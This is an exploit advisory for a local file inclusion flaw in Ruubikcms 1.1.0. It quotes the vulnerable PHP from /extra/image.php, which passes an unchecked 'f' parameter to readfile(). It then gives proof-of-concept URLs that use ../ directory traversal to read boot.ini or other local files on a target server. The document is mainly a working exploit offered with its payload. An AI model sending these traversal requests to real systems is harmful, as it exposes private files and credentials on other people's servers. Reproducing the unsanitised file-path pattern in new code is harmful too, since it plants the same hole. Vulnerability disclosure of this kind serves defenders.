 
# Exploit Title: [Ruubikcms v 1.1.0 (/extra/image.php) Local File Inclusion Vulnerability]
# Date: [2011/10/16]
# Author: [Sangyun YOO]
# Software Link: [http://ruubikcms.com/ruubikcms/download.php?f=ruubikcms110.zip]
# Version: [Ruubikcms v 1.1.0]
# Tested on: [Windows 7 Starter K]
---------------------------------------
 
source of /extra/image.php:
1: if (!isset($_GET['f']) OR empty($_GET['f'])) die("Please specify 2: image.");
3: $fpath = BASE_DIR.$_GET['f'];
4: if (!is_file($fpath)) die("File does not exist.");
5: 
6: // file size in bytes
7: // $fsize = filesize($fpath);
8: 
9: // get mime type
10: $mtype = '';
11:
12: if (function_exists('mime_content_type')) {
13: $mtype = mime_content_type($fpath);
14: } elseif (function_exists('finfo_file')) {
15: $finfo = finfo_open(FILEINFO_MIME); // return mime type
16: $mtype = finfo_file($finfo, $fpath);
17: finfo_close($finfo);
18: }
19:
20: if ($mtype == '') {
21: $mtype = "image/jpeg";
22: }
23:
24: header("Content-type: $mtype");
25: readfile($fpath); <--------------------- LFI

proof of concept:

http://[attacked_box]/[ruubikcms1.1.0]/extra/image.php?f=../../../../../../../../boot.ini
http://[attacked_box]/[ruubikcms1.1.0]/extra/image.php?f=../../../../../../../../[localfile]